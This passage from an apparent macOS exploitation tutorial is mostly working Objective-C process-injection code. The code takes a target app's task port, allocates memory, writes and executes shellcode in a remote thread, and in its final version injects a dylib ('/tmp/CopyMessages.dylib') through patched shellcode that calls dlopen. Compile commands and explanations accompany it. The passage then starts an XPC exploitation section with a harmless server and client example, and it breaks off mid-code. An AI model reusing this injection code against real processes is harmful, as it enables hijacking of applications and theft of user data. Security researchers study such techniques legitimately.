        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }       
        return (0);
}

</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit allocateWrite.m -o allocateWrite
</code></pre></div></div>

<ol>
  <li><strong>Allocating Memory in the Target Process</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">mach_vm_allocate</code> function is used to allocate memory in the target process. In this case, it allocates memory for both the shellcode and the stack.</li>
      <li><code class="language-plaintext highlighter-rouge">remoteStack64</code> is a pointer to the allocated stack memory, while <code class="language-plaintext highlighter-rouge">remoteCode64</code> is a pointer to the allocated memory for the shellcode.</li>
    </ul>
  </li>
  <li><strong>Writing Shellcode to the Target Process</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">mach_vm_write</code> function is used to write the shellcode into the allocated memory space of the target process.</li>
    </ul>
  </li>
</ol>

<h3 id="set-memory-permisssions-for-stack--code">Set Memory Permisssions for Stack &amp; Code</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit setMemory.m -o setMemory
</code></pre></div></div>

<ol>
  <li><strong>Setting Memory Protections</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">vm_protect</code> is used to set the memory protections for the shellcode and stack.</li>
      <li>The shellcode memory is set to be readable and executable (<code class="language-plaintext highlighter-rouge">VM_PROT_READ | VM_PROT_EXECUTE</code>), while the stack is set to be readable and writable (<code class="language-plaintext highlighter-rouge">VM_PROT_READ | VM_PROT_WRITE</code>).</li>
    </ul>
  </li>
</ol>

<h3 id="execute-the-shellcode">Execute the Shellcode</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&amp;remoteThreadState64, '\0', sizeof(remoteThreadState64) );

        //shift stack
        remoteStack64 += (STACK_SIZE / 2); // this is the real stack
        printf ("[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );
        // set remote instruction pointer
        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        printf("[+] Set RIP to 0x%llx\n", remoteCode64);
        // set remote Stack Pointer
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);

    
        //thread variable
        thread_act_t remoteThread;
        printf("[+] Executing Shellcode Thread.......\n");
        //create thread
        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &amp;remoteThreadState64, x86_THREAD_STATE64_COUNT, &amp;remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        printf("[+] Shellcode Executed xD\n");
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit InjectCode.m -o InjectCode
</code></pre></div></div>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">thread_create_running</code></strong>: This function creates a new thread in the target process specified by <code class="language-plaintext highlighter-rouge">remoteTask</code>.</li>
  <li><strong>Parameters</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">remoteTask</code>: The task port of the target process.</li>
      <li><code class="language-plaintext highlighter-rouge">x86_THREAD_STATE64</code>: Specifies the thread state flavor. In this case, it’s for x86_64 architecture.</li>
      <li><code class="language-plaintext highlighter-rouge">&amp;remoteThreadState64</code>: A pointer to the thread state data structure. This structure contains the initial register values for the new thread, including the instruction pointer (<code class="language-plaintext highlighter-rouge">__rip</code>), stack pointer (<code class="language-plaintext highlighter-rouge">__rsp</code>), and base pointer (<code class="language-plaintext highlighter-rouge">__rbp</code>).</li>
      <li><code class="language-plaintext highlighter-rouge">x86_THREAD_STATE64_COUNT</code>: The number of valid thread state entries.</li>
      <li><code class="language-plaintext highlighter-rouge">&amp;remoteThread</code>: A pointer to a variable that will hold the newly created thread’s port.</li>
    </ul>
  </li>
  <li>After the remote thread is created, it starts executing at the address specified by the instruction pointer (<code class="language-plaintext highlighter-rouge">__rip</code>) in the <code class="language-plaintext highlighter-rouge">remoteThreadState64</code> structure.</li>
  <li>Since the <code class="language-plaintext highlighter-rouge">__rip</code> is set to the beginning of the allocated memory where the shellcode is placed, the thread starts executing the shellcode.</li>
</ul>

<h3 id="inject-dylib">Inject Dylib</h3>

<p>To load a dylin through the thread, We need to pormote the thread to <code class="language-plaintext highlighter-rouge">POSIX</code> thread, So by creating a <code class="language-plaintext highlighter-rouge">POSIX</code> thread from the existing <code class="language-plaintext highlighter-rouge">Mach</code> thread, We will load the dylib:</p>

<pre><code class="language-ObjC">#include &lt;dlfcn.h&gt;
#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 65536
#define CODE_SIZE 128

char shellcode[] =
"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x48\x8D\x7D\xF8"                // lea        rdi, qword [rbp-8]
"\x48\x31\xc9"                    // xor        rcx,rcx
"\x48\x31\xf6"                    // xor        rsi,rsi
"\x48\x8D\x15\x0E\x00\x00\x00"    // lea        rdx, qword ptr [rip + 0xe]
"\x48\xB8"                        // movabs     rax, pthread_create_from_mach_thread
"PTHRDCRT"
"\xFF\xD0"                        // call       rax
"\xEB\xFE"                        // jmp        -2

"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x6A\x01"                        // push 1
"\x5E"                            // pop rsi
"\x48\x8D\x3D\x12\x00\x00\x00"    // lea        rdi, qword ptr [rip + 0x12]
"\x48\xB8"                        // movabs     rax, dlopen
"DLOPEN__"
"\xFF\xD0"                        // call       rax
"\x48\x83\xC4\x10"                // add        rsp, 0x10
"\x5D"                            // pop        rbp
"\xC3"                            // ret

"LIBLIBLIBLIB"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {

        char* lib = "/tmp/CopyMessages.dylib";
        uint64_t addr_of_pthread_create = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
        uint64_t addr_of_dlopen = (uint64_t)dlopen;
    
        char *possible_patch_location = (shellcode);
        int i=0;
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }

        NSLog(@"[+] Patching to pormote Mach Thread to POSIX Thread....\n", remoteCode64);
        
        for (i = 0; i &lt; 0x100; i++) {
            possible_patch_location++;
    
            if (memcmp(possible_patch_location, "PTHRDCRT", 8) == 0) {
                NSLog(@"[+] pthread_create_from_mach_thread Address: @%llx\n", addr_of_pthread_create);
                memcpy(possible_patch_location, &amp;addr_of_pthread_create, 8);
            }
    
            if (memcmp(possible_patch_location, "DLOPEN__", 6) == 0) {
                NSLog(@"[+] dlopen Address: @%llx\n", addr_of_dlopen);
                memcpy(possible_patch_location, &amp;addr_of_dlopen, sizeof(uint64_t));
            }
    
            if (memcmp(possible_patch_location, "LIBLIBLIB", 9) == 0) {
                strcpy(possible_patch_location, lib);
                NSLog(@"[+] Patched Dylib Path in Shellcode\n");
            }
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&amp;remoteThreadState64, '\0', sizeof(remoteThreadState64) );


        remoteStack64 += (STACK_SIZE / 2);
        NSLog (@"[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );

        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        NSLog(@"[+] Set RIP to 0x%llx\n", remoteCode64);

        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RBP to 0x%llx\n", remoteStack64);

    

        thread_act_t remoteThread;
        NSLog(@"[+] Executing Shellcode Thread.......\n");

        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &amp;remoteThreadState64, x86_THREAD_STATE64_COUNT, &amp;remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        NSLog(@"[+] Shellcode Executed xD\n");
        return (0);

}
</code></pre>

<ol>
  <li>
    <p><strong>Including <code class="language-plaintext highlighter-rouge">dlfcn.h</code></strong>: This header file is required for dynamic linking functions like <code class="language-plaintext highlighter-rouge">dlsym</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>.</p>
  </li>
  <li>
    <p><strong>Defining Larger Stack and Code Sizes</strong>: The stack size (<code class="language-plaintext highlighter-rouge">STACK_SIZE</code>) and code size (<code class="language-plaintext highlighter-rouge">CODE_SIZE</code>) have been increased to 65536 and 128, respectively.</p>
  </li>
  <li>
    <p><strong>Shellcode</strong>: The shellcode has been updated to include more instructions. It now contains two parts: one for calling <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and another for calling <code class="language-plaintext highlighter-rouge">dlopen</code>.</p>
  </li>
  <li>
    <p><strong>Using <code class="language-plaintext highlighter-rouge">dlsym</code> to Get Address of Functions</strong>: The code uses <code class="language-plaintext highlighter-rouge">dlsym</code> to get the address of <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>. These addresses are then used to patch the shellcode.</p>
  </li>
  <li>
    <p><strong>Patching the Shellcode</strong>: The code loops through the shellcode to find specific patterns (<code class="language-plaintext highlighter-rouge">"PTHRDCRT"</code>, <code class="language-plaintext highlighter-rouge">"DLOPEN__"</code>, and <code class="language-plaintext highlighter-rouge">"LIBLIBLIB"</code>) and replaces them with the addresses obtained from <code class="language-plaintext highlighter-rouge">dlsym</code> and the path to the dynamic library (<code class="language-plaintext highlighter-rouge">lib</code>). This allows the shellcode to call <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code> with the specified library path.</p>
  </li>
  <li>
    <p><strong>Printing Debug Information</strong>: The code includes several <code class="language-plaintext highlighter-rouge">NSLog</code> statements to print debug information, such as the addresses of <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>, and the path to the dynamic library.</p>
  </li>
  <li>
    <p><strong>Using Larger Stack Offset</strong>: The code uses a larger offset (<code class="language-plaintext highlighter-rouge">STACK_SIZE / 2</code>) to shift the stack pointer (<code class="language-plaintext highlighter-rouge">__rsp</code>) in the <code class="language-plaintext highlighter-rouge">remoteThreadState64</code> structure. This offset is used to provide more space for the stack in the remote thread.</p>
  </li>
</ol>

<p>Tese changes enhance the functionality of the code by allowing it to load a dynamic library (<code class="language-plaintext highlighter-rouge">lib</code>) into a target process and create a <code class="language-plaintext highlighter-rouge">POSIX</code> thread using <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code>.</p>

<h1 id="xpc-exploitation">XPC Exploitation</h1>

<h2 id="xpc-fundmentals">XPC Fundmentals</h2>

<h3 id="what-is-xpc">What is XPC?</h3>

<p>XPC is a communication mechanism in macOS and iOS that allows different processes to communicate with each other. It is used to separate tasks into different processes, enhancing security and stability by isolating potentially risky operations.</p>

<h3 id="key-components-of-xpc">Key Components of XPC:</h3>

<ul>
  <li><strong>XPC Services</strong>: These are the services that run in separate processes and perform specific tasks. They can be provided by both Apple and third-party developers.</li>
  <li><strong>Mach Services</strong>: XPC services register Mach services to facilitate communication via Mach messages.</li>
  <li><strong>Clients</strong>: Applications or processes that request services from XPC services.</li>
  <li><strong>Entitlements</strong>: Special permissions required by applications to access certain XPC services.</li>
</ul>

<h3 id="how-xpc-works">How XPC Works:</h3>

<ol>
  <li><strong>Service Registration</strong>: XPC services register themselves with the operating system, making them available to clients.</li>
  <li><strong>Client Requests</strong>: Clients send requests to the XPC service for specific tasks or information.</li>
  <li><strong>Message Passing</strong>: Communication is done through messages passed between the client and the service via Mach ports.</li>
  <li><strong>Response Handling</strong>: The XPC service processes the request and sends back a response to the client.</li>
</ol>

<p><img width="691" height="517" alt="image" src="https://github.com/user-attachments/assets/fa0c64c1-982b-40af-b1b8-09b2626a5f2d" /></p>

<h3 id="creating-server-and-client">Creating Server and Client</h3>

<h4 id="xpc-service-server">XPC Service (Server)</h4>

<p><strong>Part 1</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>
<span class="k">@protocol</span> <span class="nc">ServiceProtocol</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span><span class="p">;</span>
<span class="k">@end</span>

<span class="k">@interface</span> <span class="nc">Service</span> <span class="p">:</span> <span class="nc">NSObject</span> <span class="o">&lt;</span><span class="n">ServiceProtocol</span><span class="o">&gt;</span>
<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li>Define a protocol <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> with a method <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code>.</li>
  <li>Declare the <code class="language-plaintext highlighter-rouge">Service</code> class that conforms to this protocol.</li>
</ul>

<p><strong>Part 2</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@implementation</span> <span class="nc">Service</span>

<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span> <span class="p">{</span>
    <span class="n">NSString</span> <span class="o">*</span><span class="n">response</span> <span class="o">=</span> <span class="p">[</span><span class="n">aString</span> <span class="nf">uppercaseString</span><span class="p">];</span>
    <span class="n">reply</span><span class="p">(</span><span class="n">response</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li>Implement the <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code> method to convert a string to uppercase and call the reply block with the result.</li>
</ul>

<p><strong>Part3</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@interface</span> <span class="nc">ServiceDelegate</span> <span class="p">:</span> <span class="nc">NSObject</span> <span class="o">&lt;</span><span class="n">NSXPCListenerDelegate</span><span class="o">&gt;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">ServiceDelegate</span>

<span class="k">-</span> <span class="p">(</span><span class="n">BOOL</span><span class="p">)</span><span class="nf">listener</span><span class="p">:(</span><span class="n">NSXPCListener</span> <span class="o">*</span><span class="p">)</span><span class="nv">listener</span> <span class="nf">shouldAcceptNewConnection</span><span class="p">:(</span><span class="n">NSXPCConnection</span> <span class="o">*</span><span class="p">)</span><span class="nv">newConnection</span> <span class="p">{</span>
    <span class="n">newConnection</span><span class="p">.</span><span class="n">exportedInterface</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="nf">interfaceWithProtocol</span><span class="p">:</span><span class="k">@protocol</span><span class="err">(</span><span class="nc">ServiceProtocol</span><span class="p">)];</span>
    <span class="n">newConnection</span><span class="p">.</span><span class="n">exportedObject</span> <span class="o">=</span> <span class="p">[</span><span class="n">Service</span> <span class="nf">new</span><span class="p">];</span>
    <span class="p">[</span><span class="n">newConnection</span> <span class="nf">resume</span><span class="p">];</span>
    <span class="k">return</span> <span class="nb">YES</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">@end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">NSXPCListener</span> <span class="o">*</span><span class="n">listener</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCListener</span> <span class="nf">serviceListener</span><span class="p">];</span>
        <span class="n">ServiceDelegate</span> <span class="o">*</span><span class="n">delegate</span> <span class="o">=</span> <span class="p">[</span><span class="n">ServiceDelegate</span> <span class="nf">new</span><span class="p">];</span>
        <span class="n">listener</span><span class="p">.</span><span class="n">delegate</span> <span class="o">=</span> <span class="n">delegate</span><span class="p">;</span>
        <span class="p">[</span><span class="n">listener</span> <span class="nf">resume</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Define a <code class="language-plaintext highlighter-rouge">ServiceDelegate</code> class that conforms to <code class="language-plaintext highlighter-rouge">NSXPCListenerDelegate</code>.</li>
  <li>Implement the <code class="language-plaintext highlighter-rouge">listener:shouldAcceptNewConnection:</code> method to configure new connections.</li>
  <li>In the <code class="language-plaintext highlighter-rouge">main</code> function, create an <code class="language-plaintext highlighter-rouge">NSXPCListener</code> for the service, set its delegate, and resume it to start listening for connections.</li>
</ul>

<h4 id="xpc-client">XPC Client</h4>

<p><strong>main.m</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>
<span class="k">@protocol</span> <span class="nc">ServiceProtocol</span>
